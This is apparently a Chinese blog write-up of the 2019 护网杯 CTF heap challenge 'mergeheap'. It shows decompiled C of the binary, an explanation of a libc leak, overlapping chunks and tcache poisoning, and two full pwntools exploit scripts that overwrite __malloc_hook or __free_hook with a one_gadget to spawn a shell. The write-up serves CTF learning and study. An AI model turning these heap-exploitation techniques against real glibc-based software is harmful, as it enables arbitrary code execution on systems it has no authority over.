2019-护网杯-pwn-mergeheap

题目逻辑

main

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 savedregs; // [rsp+10h] [rbp+0h]

  sub_AA1(a1, a2, a3);
  while ( 1 )
  {
    menu();
    switch ( (unsigned int)&savedregs )
    {
      case 1u:
        add();
        break;
      case 2u:
        print();
        break;
      case 3u:
        delete();
        break;
      case 4u:
        merge();
        break;
      case 5u:
        exit(0);
        return;
      default:
        continue;
    }
  }
}

add

int add()
{
  signed int i; // [rsp+8h] [rbp-8h]
  int v2; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 14 && content_list[i]; ++i )
    ;
  if ( i > 14 )
    return puts("full");
  printf("len:");
  v2 = read_num();
  if ( v2 < 0 || v2 > 1024 )
    return puts("invalid");
  content_list[i] = malloc(v2);
  printf("content:");
  sub_AEE(content_list[i], v2);
  size_list[i] = v2;
  return puts("Done");
}

delete

int delete()
{
  _DWORD *v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  printf("idx:");
  v2 = read_num();
  if ( v2 >= 0 && v2 <= 14 && content_list[v2] )
  {
    free((void *)content_list[v2]);
    content_list[v2] = 0LL;
    v0 = size_list;
    size_list[v2] = 0;
  }
  else
  {
    LODWORD(v0) = puts("invalid");
  }
  return (signed int)v0;
}

print

int print()
{
  int result; // eax
  int v1; // [rsp+Ch] [rbp-4h]

  printf("idx:");
  v1 = read_num();
  if ( v1 >= 0 && v1 <= 14 && content_list[v1] )
    result = puts((const char *)content_list[v1]);
  else
    result = puts("invalid");
  return result;
}

merge

int merge()
{
  int v1; // ST1C_4
  signed int i; // [rsp+8h] [rbp-18h]
  int v3; // [rsp+Ch] [rbp-14h]
  int v4; // [rsp+10h] [rbp-10h]

  for ( i = 0; i <= 14 && content_list[i]; ++i )
    ;
  if ( i > 14 )
    return puts("full");
  printf("idx1:");
  v3 = read_num();
  if ( v3 < 0 || v3 > 14 || !content_list[v3] )
    return puts("invalid");
  printf("idx2:");
  v4 = read_num();
  if ( v4 < 0 || v4 > 14 || !content_list[v4] )
    return puts("invalid");
  v1 = size_list[v3] + size_list[v4];
  content_list[i] = malloc(v1);
  strcpy((char *)content_list[i], (const char *)content_list[v3]);
  strcat((char *)content_list[i], (const char *)content_list[v4]);
  size_list[i] = v1;
  return puts("Done");
}

分析

利用merge和空间分配时候presize复用原则(比如申请0x18实际给你分配的是0x20)泄漏出libc,同时可以构造overlapping,随后利用重新分配出的空间,可以修改tcache表中fd指针,利用类似fastbin attack,申请到mallochook,复写为one_shot。

EXP:

from pwn import *
context.log_level = "debug"
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./mergeheap")
elf = ELF("./mergeheap")
libc = ELF("./libc-2.27.so")
def add(size, content):
    p.recvuntil(">>")
    p.sendline("1")
    p.recvuntil("len:")
    p.sendline(str(size))
    p.recvuntil("content:")
    p.send(content)

def show(idx):
    p.recvuntil(">>")
    p.sendline("2")
    p.recvuntil("idx:")
    p.sendline(str(idx))

def dele(idx):
    p.recvuntil(">>")
    p.sendline("3")
    p.recvuntil("idx:")
    p.sendline(str(idx))


def merge(idx1, idx2):
    p.recvuntil(">>")
    p.sendline("4")
    p.recvuntil("idx1:")
    p.sendline(str(idx1))
    p.recvuntil("idx2:")
    p.sendline(str(idx2))

sizes = 0x202060
ptrs = 0x2020a0


for x in range(10):
    add(0x80, "c"*0x6+'\n')


for i in range(9):
    dele(i)

add(0x8, "e" * 0x8)

# leak libc_base address
show(0)
p.recv(8)
leakaddr = u64(p.recv(6).ljust(8,'\x00'))
libcbase = leakaddr - 0x3ebdb0
print "leak_addr ====>",hex(leakaddr)
print "libc_base ====>",hex(libcbase)
dele(0)

# for x in range(7):
#   add(0x40, "c"*0x40)

# for i in range(7):
#   dele(i)

add(0x90, "0" * 0x90) # 0
add(0x98, "4" * 0x98) # 1
add(0x100, "5" * (0x100-2) + '\x10' + '\x02') # 2
add(0x198, "6" * 0x198) # 3
add(0x60, "7" * 0x60) # 4
add(0x60, "a" * 0x60) # 5


for x in range(7):
    add(0x60, "9"*0x60)

for i in range(6,14):
    dele(i)

fake_fastbin = p64(libcbase+libc.symbols["__malloc_hook"] - 0x23)
pay = 0x60*'1' + '\x00'*8 + '\x70' + '\x00'*7  + fake_fastbin
# pay += '\x00'*8 + '\x70' + '\x00'*7 + p64(fake_fastbin)
pay += '\n'#(0x200-len(pay))*'1'

dele(3)
merge(1,2)  # 3  overlapping   4-3
dele(4)
# dele(5) # fastbin
# add(0x200,pay) # 4

for x in range(7):
    add(0x60, "8" * 0x60) # 5-11 for tcache

dele(5) # tcache
add(0x200,pay) # 4
add(0x60, "8" * 0x60) # 12 

one = 0x4f2c5
payload = "\x00" *0x23 + p64(libcbase + one)
add(0x60, payload + '\n') # 12 
print "one_shot ======> ", hex(libcbase + one)
print "__malloc_hook ======> ", hex(libcbase+libc.symbols["__malloc_hook"])
# gdb.attach(p)
add(0x300,'\n') # 4

p.interactive()



"""
nevv@ubuntu:~$ one_gadget Desktop/libc-2.27.so 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

通过调试可以看到确实重写了mallochook处的内容,但是报错没有getshell,猜测地址从tcache分配出去后,中间某个检查没有通过,网上简单查了下说是glibc2.27直接把hook这个机制取消?大概是这么个思路,具体的细节有时间再看下。

后续:

1wc师傅说可能是不满足one-shot执行的条件,建议换成free_hook再尝试一下,果真可以了,还是太菜了。。新的exp如下:

from pwn import *
context.log_level = "debug"
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./mergeheap")
elf = ELF("./mergeheap")
libc = ELF("./libc-2.27.so")
def add(size, content):
    p.recvuntil(">>")
    p.sendline("1")
    p.recvuntil("len:")
    p.sendline(str(size))
    p.recvuntil("content:")
    p.send(content)

def show(idx):
    p.recvuntil(">>")
    p.sendline("2")
    p.recvuntil("idx:")
    p.sendline(str(idx))

def dele(idx):
    p.recvuntil(">>")
    p.sendline("3")
    p.recvuntil("idx:")
    p.sendline(str(idx))


def merge(idx1, idx2):
    p.recvuntil(">>")
    p.sendline("4")
    p.recvuntil("idx1:")
    p.sendline(str(idx1))
    p.recvuntil("idx2:")
    p.sendline(str(idx2))

sizes = 0x202060
ptrs = 0x2020a0


for x in range(10):
    add(0x80, "c"*0x6+'\n')


for i in range(9):
    dele(i)

add(0x8, "e" * 0x8)

# leak libc_base address
show(0)
p.recv(8)
leakaddr = u64(p.recv(6).ljust(8,'\x00'))
libcbase = leakaddr - 0x3ebdb0
print "leak_addr ====>",hex(leakaddr)
print "libc_base ====>",hex(libcbase)
dele(0)

## prepare for overlapping

add(0x90, "0" * 0x90) # 0
add(0x98, "4" * 0x98) # 1
add(0x100, "5" * (0x100-2) + '\x10' + '\x02') # 2
add(0x198, "6" * 0x198) # 3
add(0x60, "7" * 0x60) # 4
add(0x60, "a" * 0x60) # 5


for x in range(7):
    add(0x60, "9"*0x60)

for i in range(6,14):
    dele(i)

pay = 0x60*'1' + '\x00'*8 + '\x70' + '\x00'*7  + p64(libcbase+libc.symbols["__free_hook"])
pay += '\n'

dele(3)
merge(1,2)  # 3  overlapping   4-3
dele(4)


for x in range(7):
    add(0x60, "8" * 0x60) # 5-11 for tcache

dele(5) # tcache
add(0x200,pay) # 4
add(0x60, "8" * 0x60) # 12 

one = 0x4f322
payload =  p64(libcbase + one)
add(0x60, payload + '\n') # 12 
print "one_shot ======> ", hex(libcbase + one)
print "__free_hook ======> ", hex(libcbase+libc.symbols["__free_hook"])
# gdb.attach(p)
dele(0)

p.interactive()



"""
nevv@ubuntu:~$ one_gadget Desktop/libc-2.27.so 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 200,045评论 5 468
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 84,114评论 2 377
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 147,120评论 0 332
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 53,902评论 1 272
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,828评论 5 360
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,132评论 1 277
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,590评论 3 390
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,258评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,408评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,335评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,385评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,068评论 3 315
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,660评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,747评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,967评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,406评论 2 346
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 41,970评论 2 341

推荐阅读更多精彩内容